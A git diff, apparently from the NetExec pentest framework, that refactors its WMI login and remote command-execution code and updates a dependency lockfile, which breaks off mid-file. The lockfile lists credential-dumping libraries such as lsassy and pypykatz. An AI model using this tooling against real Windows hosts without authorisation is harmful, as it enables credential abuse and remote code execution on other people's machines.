self.server_os = None
self.doKerberos = False
self.stringBinding = None
@@ -64,10 +61,10 @@ class wmi(connection):
)
def create_conn_obj(self):
if self.remoteName == "":
self.remoteName = self.host
connection_target = fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]"
self.logger.debug(f"Creating WMI connection object to {connection_target}")
try:
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]")
rpctansport = transport.DCERPCTransportFactory(connection_target)
rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="")
rpctansport.setRemoteHost(self.host)
rpctansport.set_connect_timeout(self.args.rpc_timeout)
@@ -77,9 +74,10 @@ class wmi(connection):
dce.bind(MSRPC_UUID_PORTMAP)
dce.disconnect()
except Exception as e:
self.logger.debug(str(e))
self.logger.debug(f"Received error creating WMI connection object: {e}")
return False
else:
self.logger.debug(f"Successfully created WMI connection object to {connection_target}")
self.conn = rpctansport
return True
@@ -133,7 +131,14 @@ class wmi(connection):
self.domain = self.hostname
if self.args.domain:
self.domain = self.args.domain
self.fqdn = f"{self.hostname}.{self.domain}"
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
@@ -145,13 +150,13 @@ class wmi(connection):
def check_if_admin(self):
try:
dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.args.rpc_timeout)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
except Exception as e:
self.logger.debug(f"Received error while checking admin: {e}")
if "dcom" in locals():
dcom.disconnect()
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
else:
@@ -172,19 +177,19 @@ class wmi(connection):
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
return False
else:
dcom.disconnect()
self.logger.extra["protocol"] = "WMI"
self.admin_privs = True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
logging.getLogger("impacket").disabled = True
self.logger.debug("Starting WMI login with Kerberos")
lmhash = ""
nthash = ""
self.password = password
self.username = username
self.domain = domain
self.remoteName = self.fqdn
self.create_conn_obj()
if password == "":
@@ -199,12 +204,15 @@ class wmi(connection):
if useCache and kerb_pass == "":
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
self.logger.debug(f"Using ccache from {ccache}")
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
self.conn.setRemoteHost(self.host)
self.conn.set_kerberos(True, kdcHost)
dce = self.conn.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
@@ -214,22 +222,21 @@ class wmi(connection):
except Exception as e:
dce.disconnect()
error_msg = str(e).lower()
self.logger.debug(error_msg)
self.logger.debug(f"WMI errored while connecting: {error_msg}")
if "unpack requires a buffer of 4 bytes" in error_msg:
error_msg = "Kerberos authentication failure"
out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}"
self.logger.fail(out)
elif "kerberos sessionerror" in str(e).lower():
elif "kerberos sessionerror" in error_msg:
out = f"{self.domain}\\{self.username}{used_ccache} {next(iter(e.getErrorString()))}"
self.logger.fail(out, color="magenta")
return False
else:
out = f"{self.domain}\\{self.username}{used_ccache} {e!s}"
self.logger.fail(out, color="red")
return False
else:
try:
# Get data from rpc connection if got vaild creds
self.logger.debug("Got valid creds, trying to get data from RPC connection")
entry_handle = epm.ept_lookup_handle_t()
request = epm.ept_lookup()
request["inquiry_type"] = 0x0
@@ -252,9 +259,9 @@ class wmi(connection):
else:
self.doKerberos = True
self.check_if_admin()
dce.disconnect()
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
dce.disconnect()
return True
def plaintext_login(self, domain, username, password):
@@ -373,7 +380,7 @@ class wmi(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
@@ -419,11 +426,11 @@ class wmi(connection):
return False
if self.args.exec_method == "wmiexec":
exec_method = wmiexec.WMIEXEC(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
exec_method = wmiexec.WMIEXEC(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
output = exec_method.execute(command, get_output)
elif self.args.exec_method == "wmiexec-event":
exec_method = wmiexec_event.WMIEXEC_EVENT(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
exec_method = wmiexec_event.WMIEXEC_EVENT(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
output = exec_method.execute(command, get_output)
self.conn.disconnect()
+2 -2
View File
@@ -2,7 +2,7 @@ from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -66,7 +66,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+5 -4
View File
@@ -24,8 +24,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
class WMIEXEC:
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
self.__host = host
def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
@@ -33,6 +33,7 @@ class WMIEXEC:
self.__nthash = nthash
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__aesKey = aesKey
self.logger = logger
self.__exec_timeout = exec_timeout
@@ -44,7 +45,7 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__codec = codec
self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
@@ -98,4 +99,4 @@ class WMIEXEC:
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
retVal = descriptor.DeleteKey(2147483650, self.__registry_Path)
except Exception as e:
self.logger.debug(f"Target: {self.__host} removing temporary registry path error: {e!s}")
self.logger.debug(f"Target: {self.__target} removing temporary registry path error: {e!s}")
+5 -4
View File
@@ -31,8 +31,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
class WMIEXEC_EVENT:
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
self.__host = host
def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
@@ -40,6 +40,7 @@ class WMIEXEC_EVENT:
self.__nthash = nthash
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__aesKey = aesKey
self.__outputBuffer = ""
self.__retOutput = True
@@ -50,7 +51,7 @@ class WMIEXEC_EVENT:
self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
@@ -75,7 +76,7 @@ class WMIEXEC_EVENT:
def execute_handler(self, command):
# Generate vbsript and execute it
self.logger.debug(f"{self.__host}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
self.logger.debug(f"{self.__target}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
self.execute_remote(command)
# Get command results
Generated
+119 -108
View File
@@ -59,41 +59,42 @@ files = [
[[package]]
name = "aiosmb"
version = "0.4.4"
version = "0.4.10"
description = "Asynchronous SMB protocol implementation"
optional = false
python-versions = ">=3.7"
files = [
{file = "aiosmb-0.4.4-py3-none-any.whl", hash = "sha256:ed70967243ec6634ac443de4e048c666f372ec863e49e8a2c1e01d640989f95e"},
{file = "aiosmb-0.4.4.tar.gz", hash = "sha256:20620498cf5e6794fea29ddcb46afbda8cbf714e3cf8e1da149699f03453637f"},
{file = "aiosmb-0.4.10-py3-none-any.whl", hash = "sha256:8b6f4c586fcd4e757e31aa3ea5a17060d9355d8994011ff6040acc18c578c023"},
{file = "aiosmb-0.4.10.tar.gz", hash = "sha256:b8de656e1b8fb7d6b1a766534f10e01ee0d1c254235c03449063e04092f5a3dd"},
]
[package.dependencies]
asn1crypto = "*"
asyauth = ">=0.0.8"
asysocks = ">=0.2.2"
asyauth = ">=0.0.16"
asysocks = ">=0.2.9"
colorama = "*"
minikerberos = ">=0.3.5"
cryptography = "*"
prompt-toolkit = ">=3.0.2"
six = "*"
tqdm = "*"
unicrypto = ">=0.0.9"
unicrypto = ">=0.0.10"
wcwidth = "*"
winacl = ">=0.1.5"
winacl = ">=0.1.8"
[[package]]
name = "aiosqlite"
version = "0.17.0"
version = "0.19.0"
description = "asyncio bridge to the standard sqlite3 module"
optional = false
python-versions = ">=3.6"
python-versions = ">=3.7"
files = [
{file = "aiosqlite-0.17.0-py3-none-any.whl", hash = "sha256:6c49dc6d3405929b1d08eeccc72306d3677503cc5e5e43771efc1e00232e8231"},
{file = "aiosqlite-0.17.0.tar.gz", hash = "sha256:f0e6acc24bc4864149267ac82fb46dfb3be4455f99fe21df82609cc6e6baee51"},
{file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"},
{file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"},
]
[package.dependencies]
typing_extensions = ">=3.7.2"
[package.extras]
dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"]
docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"]
[[package]]
name = "aiowinreg"
@@ -946,13 +947,13 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
[[package]]
name = "lsassy"
version = "3.1.10"
version = "3.1.11"
description = "Python library to extract credentials from lsass remotely"
optional = false
python-versions = ">=3.6"
files = [
{file = "lsassy-3.1.10-py3-none-any.whl", hash = "sha256:c25bc349f54d10329fae83a65b3c5a679e298883273e319a515916f362068b6c"},
{file = "lsassy-3.1.10.tar.gz", hash = "sha256:748ee7e49f792d4532155f3ef0467fe505e0c32386195c5ae6bcaafa699e28f3"},
{file = "lsassy-3.1.11-py3-none-any.whl", hash = "sha256:ee9588761f307e9bba66485cfb60597091db232d2aadde27bcb0504f8faea7ba"},
{file = "lsassy-3.1.11.tar.gz", hash = "sha256:0cfad66c53bee67e84810d73058fd70f15aa7570a0e96009d57160dfda1fb8cf"},
]
[package.dependencies]
@@ -1378,26 +1379,24 @@ files = [
[[package]]
name = "paramiko"
version = "2.12.0"
version = "3.4.0"
description = "SSH2 protocol library"
optional = false
python-versions = "*"
python-versions = ">=3.6"
files = [
{file = "paramiko-2.12.0-py2.py3-none-any.whl", hash = "sha256:b2df1a6325f6996ef55a8789d0462f5b502ea83b3c990cbb5bbe57345c6812c4"},
{file = "paramiko-2.12.0.tar.gz", hash = "sha256:376885c05c5d6aa6e1f4608aac2a6b5b0548b1add40274477324605903d9cd49"},
{file = "paramiko-3.4.0-py3-none-any.whl", hash = "sha256:43f0b51115a896f9c00f59618023484cb3a14b98bbceab43394a39c6739b7ee7"},
{file = "paramiko-3.4.0.tar.gz", hash = "sha256:aac08f26a31dc4dffd92821527d1682d99d52f9ef6851968114a8728f3c274d3"},
]
[package.dependencies]
bcrypt = ">=3.1.3"
cryptography = ">=2.5"
pynacl = ">=1.0.1"
six = "*"
bcrypt = ">=3.2"
cryptography = ">=3.3"
pynacl = ">=1.5"
[package.extras]
all = ["bcrypt (>=3.1.3)", "gssapi (>=1.4.1)", "invoke (>=1.3)", "pyasn1 (>=0.1.7)", "pynacl (>=1.0.1)", "pywin32 (>=2.1.8)"]
ed25519 = ["bcrypt (>=3.1.3)", "pynacl (>=1.0.1)"]
all = ["gssapi (>=1.4.1)", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"]
gssapi = ["gssapi (>=1.4.1)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"]
invoke = ["invoke (>=1.3)"]
invoke = ["invoke (>=2.0)"]
[[package]]
name = "pillow"
@@ -1556,17 +1555,17 @@ files = [
[[package]]
name = "pyasn1-modules"
version = "0.2.8"
description = "A collection of ASN.1-based protocols modules."
version = "0.3.0"
description = "A collection of ASN.1-based protocols modules"
optional = false
python-versions = "*"
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
files = [
{file = "pyasn1-modules-0.2.8.tar.gz", hash = "sha256:905f84c712230b2c592c19470d3ca8d552de726050d1d1716282a1f6146be65e"},
{file = "pyasn1_modules-0.2.8-py2.py3-none-any.whl", hash = "sha256:a50b808ffeb97cb3601dd25981f6b016cbb3d31fbf57a8b8a87428e6158d0c74"},
{file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"},
{file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"},
]
[package.dependencies]
pyasn1 = ">=0.4.6,<0.5.0"
pyasn1 = ">=0.4.6,<0.6.0"
[[package]]
name = "pycodestyle"
@@ -1799,25 +1798,25 @@ kerberos = ["pyspnego[kerberos]"]
[[package]]
name = "pypykatz"
version = "0.6.6"
version = "0.6.9"
description = "Python implementation of Mimikatz"
optional = false
python-versions = ">=3.6"
files = [
{file = "pypykatz-0.6.6-py3-none-any.whl", hash = "sha256:c2167c06c6e0992b721e5c9e572fc4a847099bca2b179c65d820280cb0d344f9"},
{file = "pypykatz-0.6.6.tar.gz", hash = "sha256:7cf7842937d12f5e36448312431a41c88032d3db179660e32004e291cf3622ec"},
{file = "pypykatz-0.6.9-py3-none-any.whl", hash = "sha256:ea5f43e0e754aacaa47510003c88bc65be2099b08812390b5a83b01aff61b1df"},
{file = "pypykatz-0.6.9.tar.gz", hash = "sha256:5e78b671823e0724c5483bee5870d4f7b2a58f031edda4fb3fe5488abea4b64b"},
]
[package.dependencies]
aesedb = ">=0.1.3"
aiosmb = ">=0.4.4"
aiowinreg = ">=0.0.7"
minidump = ">=0.0.21"
minikerberos = ">=0.4.0"
msldap = ">=0.4.7"
aesedb = ">=0.1.4,<=0.2.0"
aiosmb = ">=0.4.8,<=0.5.0"
aiowinreg = ">=0.0.10,<=0.1.0"
minidump = ">=0.0.21,<=0.1.0"
minikerberos = ">=0.4.1,<=0.5.0"
msldap = ">=0.5.7,<=0.6.0"
tqdm = "*"
unicrypto = ">=0.0.10"
winacl = ">=0.1.6"
unicrypto = ">=0.0.10,<=0.1.0"
winacl = ">=0.1.7,<=0.2.0"
[[package]]
name = "pyspnego"
@@ -2036,82 +2035,90 @@ files = [
[[package]]
name = "sqlalchemy"
version = "1.4.50"
version = "2.0.25"
description = "Database Abstraction Library"
optional = false
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
python-versions = ">=3.7"
files = [
{file = "SQLAlchemy-1.4.50-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:54138aa80d2dedd364f4e8220eef284c364d3270aaef621570aa2bd99902e2e8"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d00665725063692c42badfd521d0c4392e83c6c826795d38eb88fb108e5660e5"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85292ff52ddf85a39367057c3d7968a12ee1fb84565331a36a8fead346f08796"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d0fed0f791d78e7767c2db28d34068649dfeea027b83ed18c45a423f741425cb"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db4db3c08ffbb18582f856545f058a7a5e4ab6f17f75795ca90b3c38ee0a8ba4"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-win32.whl", hash = "sha256:6c78e3fb4a58e900ec433b6b5f4efe1a0bf81bbb366ae7761c6e0051dd310ee3"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-win_amd64.whl", hash = "sha256:d55f7a33e8631e15af1b9e67c9387c894fedf6deb1a19f94be8731263c51d515"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:324b1fdd50e960a93a231abb11d7e0f227989a371e3b9bd4f1259920f15d0304"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14b0cacdc8a4759a1e1bd47dc3ee3f5db997129eb091330beda1da5a0e9e5bd7"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1fb9cb60e0f33040e4f4681e6658a7eb03b5cb4643284172f91410d8c493dace"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-win32.whl", hash = "sha256:8bdab03ff34fc91bfab005e96f672ae207d87e0ac7ee716d74e87e7046079d8b"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-win_amd64.whl", hash = "sha256:52e01d60b06f03b0a5fc303c8aada405729cbc91a56a64cead8cb7c0b9b13c1a"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:77fde9bf74f4659864c8e26ac08add8b084e479b9a18388e7db377afc391f926"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4cb501d585aa74a0f86d0ea6263b9c5e1d1463f8f9071392477fd401bd3c7cc"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a7a66297e46f85a04d68981917c75723e377d2e0599d15fbe7a56abed5e2d75"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-win32.whl", hash = "sha256:e86c920b7d362cfa078c8b40e7765cbc34efb44c1007d7557920be9ddf138ec7"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-win_amd64.whl", hash = "sha256:6b3df20fbbcbcd1c1d43f49ccf3eefb370499088ca251ded632b8cbaee1d497d"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:fb9adc4c6752d62c6078c107d23327aa3023ef737938d0135ece8ffb67d07030"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1db0221cb26d66294f4ca18c533e427211673ab86c1fbaca8d6d9ff78654293"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b7dbe6369677a2bea68fe9812c6e4bbca06ebfa4b5cde257b2b0bf208709131"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a9bddb60566dc45c57fd0a5e14dd2d9e5f106d2241e0a2dc0c1da144f9444516"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82dd4131d88395df7c318eeeef367ec768c2a6fe5bd69423f7720c4edb79473c"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-win32.whl", hash = "sha256:1b9c4359d3198f341480e57494471201e736de459452caaacf6faa1aca852bd8"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-win_amd64.whl", hash = "sha256:35e4520f7c33c77f2636a1e860e4f8cafaac84b0b44abe5de4c6c8890b6aaa6d"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:f5b1fb2943d13aba17795a770d22a2ec2214fc65cff46c487790192dda3a3ee7"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:273505fcad22e58cc67329cefab2e436006fc68e3c5423056ee0513e6523268a"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3257a6e09626d32b28a0c5b4f1a97bced585e319cfa90b417f9ab0f6145c33c"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d69738d582e3a24125f0c246ed8d712b03bd21e148268421e4a4d09c34f521a5"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:34e1c5d9cd3e6bf3d1ce56971c62a40c06bfc02861728f368dcfec8aeedb2814"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-win32.whl", hash = "sha256:7b4396452273aedda447e5aebe68077aa7516abf3b3f48408793e771d696f397"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-win_amd64.whl", hash = "sha256:752f9df3dddbacb5f42d8405b2d5885675a93501eb5f86b88f2e47a839cf6337"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-macosx_11_0_x86_64.whl", hash = "sha256:35c7ed095a4b17dbc8813a2bfb38b5998318439da8e6db10a804df855e3a9e3a"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1fcee5a2c859eecb4ed179edac5ffbc7c84ab09a5420219078ccc6edda45436"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fbaf6643a604aa17e7a7afd74f665f9db882df5c297bdd86c38368f2c471f37d"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2e70e0673d7d12fa6cd363453a0d22dac0d9978500aa6b46aa96e22690a55eab"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b881ac07d15fb3e4f68c5a67aa5cdaf9eb8f09eb5545aaf4b0a5f5f4659be18"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-win32.whl", hash = "sha256:8a219688297ee5e887a93ce4679c87a60da4a5ce62b7cb4ee03d47e9e767f558"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-win_amd64.whl", hash = "sha256:a648770db002452703b729bdcf7d194e904aa4092b9a4d6ab185b48d13252f63"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:4be4da121d297ce81e1ba745a0a0521c6cf8704634d7b520e350dce5964c71ac"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f6997da81114daef9203d30aabfa6b218a577fc2bd797c795c9c88c9eb78d49"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdb77e1789e7596b77fd48d99ec1d2108c3349abd20227eea0d48d3f8cf398d9"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:128a948bd40780667114b0297e2cc6d657b71effa942e0a368d8cc24293febb3"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2d526aeea1bd6a442abc7c9b4b00386fd70253b80d54a0930c0a216230a35be"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-win32.whl", hash = "sha256:a7c9b9dca64036008962dd6b0d9fdab2dfdbf96c82f74dbd5d86006d8d24a30f"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-win_amd64.whl", hash = "sha256:df200762efbd672f7621b253721644642ff04a6ff957236e0e2fe56d9ca34d2c"},
{file = "SQLAlchemy-1.4.50.tar.gz", hash = "sha256:3b97ddf509fc21e10b09403b5219b06c5b558b27fc2453150274fa4e70707dbf"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4344d059265cc8b1b1be351bfb88749294b87a8b2bbe21dfbe066c4199541ebd"},
